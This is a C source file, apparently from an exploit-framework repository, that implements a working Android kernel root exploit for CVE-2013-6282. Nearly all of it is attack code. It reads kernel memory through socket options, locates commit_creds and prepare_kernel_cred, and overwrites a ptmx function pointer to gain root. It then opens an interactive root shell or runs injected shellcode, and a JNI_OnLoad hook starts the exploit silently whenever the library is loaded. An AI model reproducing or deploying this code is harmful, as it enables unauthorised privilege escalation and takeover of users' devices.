Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/exploits/CVE-2013-6282/exploit.c
Views: 11780
#include <stdio.h>1#include <stdlib.h>2#include <stdbool.h>3#include <netinet/in.h>4#include <sys/ioctl.h>5#include <sys/socket.h>6#include <sys/ptrace.h>7#include <sys/syscall.h>8#include <sys/wait.h>9#include <sys/mman.h>10#include <fcntl.h>11#include <jni.h>1213unsigned char shellcode_buf[2048] = { 0x90, 0x90, 0x90, 0x90 };1415#define KERNEL_START_ADDRESS 0xc000800016#define KERNEL_SIZE 0x200000017#define SEARCH_START_ADDRESS 0xc080000018#define KALLSYMS_SIZE 0x20000019#define PTMX_DEVICE "/dev/ptmx"2021#ifdef DEBUG22#include <android/log.h>23#define LOGV(...) __android_log_print(ANDROID_LOG_INFO, "exploit", __VA_ARGS__); printf(__VA_ARGS__); fflush(stdout)24#else25#define LOGV(...)26#endif2728unsigned long prepare_kernel_cred_address = 0;29unsigned long commit_creds_address = 0;30unsigned long ptmx_fops_address = 0;31unsigned long ptmx_open_address = 0;32unsigned long tty_init_dev_address = 0;33unsigned long tty_release_address = 0;34unsigned long tty_fasync_address = 0;35unsigned long ptm_driver_address = 0;3637unsigned long pattern_kallsyms_addresses[] = {380xc0008000, /* stext */390xc0008000, /* _sinittext */400xc0008000, /* _stext */410xc0008000 /* __init_begin */42};43unsigned long pattern_kallsyms_addresses2[] = {440xc0008000, /* stext */450xc0008000 /* _text */46};47unsigned long pattern_kallsyms_addresses3[] = {480xc00081c0, /* asm_do_IRQ */490xc00081c0, /* _stext */500xc00081c0 /* __exception_text_start */51};52unsigned long pattern_kallsyms_addresses4[] = {530xc0008180,540xc0008180,550xc000818056};5758unsigned long *kallsymsmem = NULL;59unsigned long kallsyms_num_syms;60unsigned long *kallsyms_addresses;61unsigned char *kallsyms_names;62unsigned char *kallsyms_token_table;63unsigned short *kallsyms_token_index;64unsigned long *kallsyms_markers;6566struct cred;67struct task_struct;6869struct cred *(*prepare_kernel_cred)(struct task_struct *);70int (*commit_creds)(struct cred *);7172bool bChiled;7374int read_value_at_address(unsigned long address, unsigned long *value) {75int sock;76int ret;77int i;78unsigned long addr = address;79unsigned char *pval = (unsigned char *)value;80socklen_t optlen = 1;8182*value = 0;83errno = 0;84sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);85if (sock < 0) {86LOGV("socket() failed: %s.\n", strerror(errno));87return -1;88}8990for (i = 0; i < sizeof(*value); i++, addr++, pval++) {91errno = 0;92ret = setsockopt(sock, SOL_IP, IP_TTL, (void *)addr, 1);93if (ret != 0) {94if (errno != EINVAL) {95LOGV("setsockopt() failed: %s.\n", strerror(errno));96close(sock);97*value = 0;98return -1;99}100}101errno = 0;102ret = getsockopt(sock, SOL_IP, IP_TTL, pval, &optlen);103if (ret != 0) {104LOGV("getsockopt() failed: %s.\n", strerror(errno));105close(sock);106*value = 0;107return -1;108}109}110111close(sock);112113return 0;114}115116unsigned long *kerneldump(unsigned long startaddr, unsigned long dumpsize) {117unsigned long addr;118unsigned long val;119unsigned long *allocaddr;120unsigned long *memaddr;121122LOGV("dumping kernel...\n");123allocaddr = (unsigned long *)malloc(dumpsize);124if (allocaddr == NULL) {125LOGV("malloc failed: %s.\n", strerror(errno));126return NULL;127}128memaddr = allocaddr;129130for (addr = startaddr; addr < (startaddr + dumpsize); addr += 4, memaddr++) {131if (read_value_at_address(addr, &val) != 0) {132LOGV("kerneldump failed: %s.\n", strerror(errno));133return NULL;134}135*memaddr = val;136}137138return allocaddr;139}140141int check_pattern(unsigned long *addr, unsigned long firstval, unsigned long *pattern, int patternnum) {142unsigned long val;143unsigned long cnt;144unsigned long i;145146if (firstval == pattern[0]) {147cnt = 1;148for (i = 1; i < patternnum; i++) {149read_value_at_address((unsigned long)(&addr[i]), &val);150if (val == pattern[i]) {151cnt++;152} else {153break;154}155}156if (cnt == patternnum) {157return 0;158}159}160161return -1;162}163164int check_kallsyms_header(unsigned long *addr) {165unsigned long val;166read_value_at_address((unsigned long)addr, &val);167168if (check_pattern(addr, val, pattern_kallsyms_addresses, sizeof(pattern_kallsyms_addresses) / 4) == 0) {169return 0;170} else if (check_pattern(addr, val, pattern_kallsyms_addresses2, sizeof(pattern_kallsyms_addresses2) / 4) == 0) {171return 0;172} else if (check_pattern(addr, val, pattern_kallsyms_addresses3, sizeof(pattern_kallsyms_addresses3) / 4) == 0) {173return 0;174} else if (check_pattern(addr, val, pattern_kallsyms_addresses4, sizeof(pattern_kallsyms_addresses4) / 4) == 0) {175return 0;176}177178return -1;179}180181int get_kallsyms_addresses() {182unsigned long *endaddr;183unsigned long i, j;184unsigned long *addr;185unsigned long n;186unsigned long val;187unsigned long off;188189if (read_value_at_address(KERNEL_START_ADDRESS, &val) != 0) {190LOGV("this device is not supported.\n");191return -1;192}193LOGV("search kallsyms...\n");194endaddr = (unsigned long *)(KERNEL_START_ADDRESS + KERNEL_SIZE);195for (i = 0; i < (KERNEL_START_ADDRESS + KERNEL_SIZE - SEARCH_START_ADDRESS); i += 16) {196for (j = 0; j < 2; j++) {197/* get kallsyms_addresses pointer */198if (j == 0) {199kallsyms_addresses = (unsigned long *)(SEARCH_START_ADDRESS + i);200} else {201if ((i == 0) || ((SEARCH_START_ADDRESS - i) < KERNEL_START_ADDRESS)) {202continue;203}204kallsyms_addresses = (unsigned long *)(SEARCH_START_ADDRESS - i);205}206if (check_kallsyms_header(kallsyms_addresses) != 0) {207continue;208}209addr = kallsyms_addresses;210off = 0;211212/* search end of kallsyms_addresses */213n = 0;214while (1) {215read_value_at_address((unsigned long)addr, &val);216if (val < KERNEL_START_ADDRESS) {217break;218}219n++;220addr++;221off++;222if (addr >= endaddr) {223return -1;224}225}226227/* skip there is filled by 0x0 */228while (1) {229read_value_at_address((unsigned long)addr, &val);230if (val != 0) {231break;232}233addr++;234off++;235if (addr >= endaddr) {236return -1;237}238}239240read_value_at_address((unsigned long)addr, &val);241kallsyms_num_syms = val;242addr++;243off++;244if (addr >= endaddr) {245return -1;246}247248/* check kallsyms_num_syms */249if (kallsyms_num_syms != n) {250continue;251}252253LOGV("kallsyms_addresses=%08lx\n", (unsigned long)kallsyms_addresses);254LOGV("kallsyms_num_syms=%08lx\n", kallsyms_num_syms);255kallsymsmem = kerneldump((unsigned long)kallsyms_addresses, KALLSYMS_SIZE);256if (kallsymsmem == NULL) {257return -1;258}259kallsyms_addresses = kallsymsmem;260endaddr = (unsigned long *)((unsigned long)kallsymsmem + KALLSYMS_SIZE);261262addr = &kallsymsmem[off];263264/* skip there is filled by 0x0 */265while (addr[0] == 0x00000000) {266addr++;267if (addr >= endaddr) {268return -1;269}270}271272kallsyms_names = (unsigned char *)addr;273274/* search end of kallsyms_names */275for (i = 0, off = 0; i < kallsyms_num_syms; i++) {276int len = kallsyms_names[off];277off += len + 1;278if (&kallsyms_names[off] >= (unsigned char *)endaddr) {279return -1;280}281}282283/* adjust */284addr = (unsigned long *)((((unsigned long)&kallsyms_names[off] - 1) | 0x3) + 1);285if (addr >= endaddr) {286return -1;287}288289/* skip there is filled by 0x0 */290while (addr[0] == 0x00000000) {291addr++;292if (addr >= endaddr) {293return -1;294}295}296/* but kallsyms_markers shoud be start 0x00000000 */297addr--;298299kallsyms_markers = addr;300301/* end of kallsyms_markers */302addr = &kallsyms_markers[((kallsyms_num_syms - 1) >> 8) + 1];303if (addr >= endaddr) {304return -1;305}306307/* skip there is filled by 0x0 */308while (addr[0] == 0x00000000) {309addr++;310if (addr >= endaddr) {311return -1;312}313}314315kallsyms_token_table = (unsigned char *)addr;316317i = 0;318while ((kallsyms_token_table[i] != 0x00) || (kallsyms_token_table[i + 1] != 0x00)) {319i++;320if (&kallsyms_token_table[i - 1] >= (unsigned char *)endaddr) {321return -1;322}323}324325/* skip there is filled by 0x0 */326while (kallsyms_token_table[i] == 0x00) {327i++;328if (&kallsyms_token_table[i - 1] >= (unsigned char *)endaddr) {329return -1;330}331}332333/* but kallsyms_markers shoud be start 0x0000 */334kallsyms_token_index = (unsigned short *)&kallsyms_token_table[i - 2];335336return 0;337}338}339return -1;340}341342unsigned long kallsyms_expand_symbol(unsigned long off, char *namebuf) {343int len;344int skipped_first;345unsigned char *tptr;346unsigned char *data;347348/* Get the compressed symbol length from the first symbol byte. */349data = &kallsyms_names[off];350len = *data;351off += len + 1;352data++;353354skipped_first = 0;355while (len > 0) {356tptr = &kallsyms_token_table[kallsyms_token_index[*data]];357data++;358len--;359360while (*tptr > 0) {361if (skipped_first != 0) {362*namebuf = *tptr;363namebuf++;364} else {365skipped_first = 1;366}367tptr++;368}369}370*namebuf = '\0';371372return off;373}374375int search_functions() {376char namebuf[1024];377unsigned long i;378unsigned long off;379int cnt;380381cnt = 0;382for (i = 0, off = 0; i < kallsyms_num_syms; i++) {383off = kallsyms_expand_symbol(off, namebuf);384if (strcmp(namebuf, "prepare_kernel_cred") == 0) {385prepare_kernel_cred_address = kallsyms_addresses[i];386cnt++;387} else if (strcmp(namebuf, "commit_creds") == 0) {388commit_creds_address = kallsyms_addresses[i];389cnt++;390} else if (strcmp(namebuf, "ptmx_open") == 0) {391ptmx_open_address = kallsyms_addresses[i];392cnt++;393} else if (strcmp(namebuf, "tty_init_dev") == 0) {394tty_init_dev_address = kallsyms_addresses[i];395cnt++;396} else if (strcmp(namebuf, "tty_release") == 0) {397tty_release_address = kallsyms_addresses[i];398cnt++;399} else if (strcmp(namebuf, "tty_fasync") == 0) {400tty_fasync_address = kallsyms_addresses[i];401cnt++;402} else if (strcmp(namebuf, "ptmx_fops") == 0) {403ptmx_fops_address = kallsyms_addresses[i];404}405}406407if (cnt < 6) {408return -1;409}410411return 0;412}413414void analyze_ptmx_open() {415unsigned long i, j, k;416unsigned long addr;417unsigned long val;418unsigned long regnum;419unsigned long data_addr;420421LOGV("analyze ptmx_open...\n");422for (i = 0; i < 0x200; i += 4) {423addr = ptmx_open_address + i;424read_value_at_address(addr, &val);425if ((val & 0xff000000) == 0xeb000000) {426if ((((tty_init_dev_address / 4) - (addr / 4 + 2)) & 0x00ffffff) == (val & 0x00ffffff)) {427for (j = 1; j <= i; j++) {428addr = ptmx_open_address + i - j;429read_value_at_address(addr, &val);430if ((val & 0xfff0f000) == 0xe5900000) {431regnum = (val & 0x000f0000) >> 16;432for (k = 1; k <= (i - j); k++) {433addr = ptmx_open_address + i - j - k;434read_value_at_address(addr, &val);435if ((val & 0xfffff000) == (0xe59f0000 + (regnum << 12))) {436data_addr = addr + (val & 0x00000fff) + 8;437read_value_at_address(data_addr, &val);438ptm_driver_address = val;439return;440}441}442}443}444}445}446}447448return;449}450451unsigned long search_ptmx_fops_address() {452unsigned long *addr;453unsigned long range;454unsigned long *ptmx_fops_open;455unsigned long i;456unsigned long val, val2, val5;457458LOGV("search ptmx_fops...\n");459if (ptm_driver_address != 0) {460addr = (unsigned long *)ptm_driver_address;461} else {462addr = (unsigned long *)(kallsyms_addresses[kallsyms_num_syms - 1]);463}464addr++;465ptmx_fops_open = NULL;466range = ((KERNEL_START_ADDRESS + KERNEL_SIZE) - (unsigned long)addr) / sizeof(unsigned long);467for (i = 0; i < range - 14; i++) {468read_value_at_address((unsigned long)(&addr[i]), &val);469if (val == ptmx_open_address) {470read_value_at_address((unsigned long)(&addr[i + 2]), &val2);471if (val2 == tty_release_address) {472read_value_at_address((unsigned long)(&addr[i + 5]), &val5);473if (val5 == tty_fasync_address) {474ptmx_fops_open = &addr[i];475break;476}477}478}479}480481if (ptmx_fops_open == NULL) {482return 0;483}484return ((unsigned long)ptmx_fops_open - 0x2c);485}486487int get_addresses() {488prepare_kernel_cred_address = 0;489commit_creds_address = 0;490ptmx_fops_address = 0;491ptmx_open_address = 0;492tty_init_dev_address = 0;493tty_release_address = 0;494tty_fasync_address = 0;495ptm_driver_address = 0;496497if (get_kallsyms_addresses() != 0) {498if (kallsymsmem != NULL) {499free(kallsymsmem);500kallsymsmem = NULL;501}502LOGV("kallsyms_addresses search failed.\n");503return -1;504}505506if (search_functions() != 0) {507if (kallsymsmem != NULL) {508free(kallsymsmem);509kallsymsmem = NULL;510}511LOGV("search_functions failed.\n");512return -1;513}514515if (ptmx_fops_address == 0) {516analyze_ptmx_open();517ptmx_fops_address = search_ptmx_fops_address();518if (ptmx_fops_address == 0) {519if (kallsymsmem != NULL) {520free(kallsymsmem);521kallsymsmem = NULL;522}523LOGV("search_ptmx_fops_address failed.\n");524return -1;525}526}527528if (kallsymsmem != NULL) {529free(kallsymsmem);530kallsymsmem = NULL;531}532533LOGV("\n");534LOGV("prepare_kernel_cred=%08lx\n", prepare_kernel_cred_address);535LOGV("commit_creds=%08lx\n", commit_creds_address);536LOGV("ptmx_fops=%08lx\n", ptmx_fops_address);537LOGV("ptmx_open=%08lx\n", ptmx_open_address);538LOGV("tty_init_dev=%08lx\n", tty_init_dev_address);539LOGV("tty_release=%08lx\n", tty_release_address);540LOGV("tty_fasync=%08lx\n", tty_fasync_address);541LOGV("ptm_driver=%08lx\n", ptm_driver_address);542LOGV("\n");543544return 0;545}546547void obtain_root_privilege(void) {548commit_creds(prepare_kernel_cred(0));549}550551static bool run_obtain_root_privilege(void *user_data) {552int fd;553554fd = open(PTMX_DEVICE, O_WRONLY);555fsync(fd);556close(fd);557558return true;559}560561/*562void ptrace_write_value_at_address(unsigned long int address, void *value) {563pid_t pid;564long ret;565int status;566567bChiled = false;568pid = fork();569if (pid < 0) {570return;571}572if (pid == 0) {573ret = ptrace(PTRACE_TRACEME, 0, 0, 0);574if (ret < 0) {575LOGV("PTRACE_TRACEME failed\n");576}577bChiled = true;578signal(SIGSTOP, SIG_IGN);579kill(getpid(), SIGSTOP);580return;581}582583do {584ret = syscall(__NR_ptrace, PTRACE_PEEKDATA, pid, &bChiled, &bChiled);585} while (!bChiled);586587ret = syscall(__NR_ptrace, PTRACE_PEEKDATA, pid, &value, (void *)address);588if (ret < 0) {589LOGV("PTRACE_PEEKDATA failed: %s\n", strerror(errno));590}591592kill(pid, SIGKILL);593waitpid(pid, &status, WNOHANG);594}595*/596597int pipe_write_value_at_address(unsigned long address, void* value)598{599char data[4];600int pipefd[2];601int i;602603*(long *)&data = (long)value;604605if (pipe(pipefd) == -1) {606perror("pipe");607return 1;608}609610for (i = 0; i < (int) sizeof(data) ; i++) {611char buf[256];612buf[0] = 0;613if (data[i]) {614if (write(pipefd[1], buf, data[i]) != data[i]) {615LOGV("error in write().\n");616break;617}618}619620if (ioctl(pipefd[0], FIONREAD, (void *)(address + i)) == -1) {621perror("ioctl");622break;623}624625if (data[i]) {626if (read(pipefd[0], buf, sizeof buf) != data[i]) {627LOGV("error in read().\n");628break;629}630}631}632633close(pipefd[0]);634close(pipefd[1]);635636return (i == sizeof (data));637}638639bool overwrite_ptmx_fsync_address(unsigned long int address, void *value, bool (*exploit_callback)(void *user_data), void *user_data) {640bool success;641642/*ptrace_write_value_at_address(address, value);*/643pipe_write_value_at_address(address, value);644success = exploit_callback(user_data);645646return success;647}648649static bool run_exploit(void) {650unsigned long int ptmx_fops_fsync_address;651652prepare_kernel_cred = (void *)prepare_kernel_cred_address;653commit_creds = (void *)commit_creds_address;654655ptmx_fops_fsync_address = ptmx_fops_address + 0x38;656return overwrite_ptmx_fsync_address(ptmx_fops_fsync_address, &obtain_root_privilege, run_obtain_root_privilege, NULL);657}658659void init_exploit() {660661if (get_addresses() != 0) {662LOGV("Failed to get addresses.\n");663return;664}665666run_exploit();667668int uid = getuid();669if (uid != 0) {670LOGV("Failed to get root.\n");671return;672}673674if (shellcode_buf[0] == 0x90) {675LOGV("No shellcode, uid=%d\n", uid);676system("/system/bin/sh -i");677return;678}679LOGV("running shellcode, uid=%d\n", uid);680681void *ptr = mmap(0, sizeof(shellcode_buf), PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0);682if (ptr == MAP_FAILED) {683return;684}685memcpy(ptr, shellcode_buf, sizeof(shellcode_buf));686void (*shellcode)() = (void(*)())ptr;687shellcode();688689LOGV("exiting.\n");690}691692int main(int argc, char **argv) {693694init_exploit();695696exit(EXIT_SUCCESS);697}698699JNIEXPORT jint JNICALL JNI_OnLoad( JavaVM *vm, void *pvt )700{701JNIEnv *env;702LOGV("onload, uid=%d\n", getuid());703704if((*vm)->GetEnv(vm, (void **)&env, JNI_VERSION_1_4) != JNI_OK)705{706return -1;707}708709int pid = fork();710if (pid == 0) {711init_exploit();712}713return JNI_VERSION_1_4;714}715716JNIEXPORT void JNICALL JNI_OnUnload( JavaVM *vm, void *pvt )717{718}719720721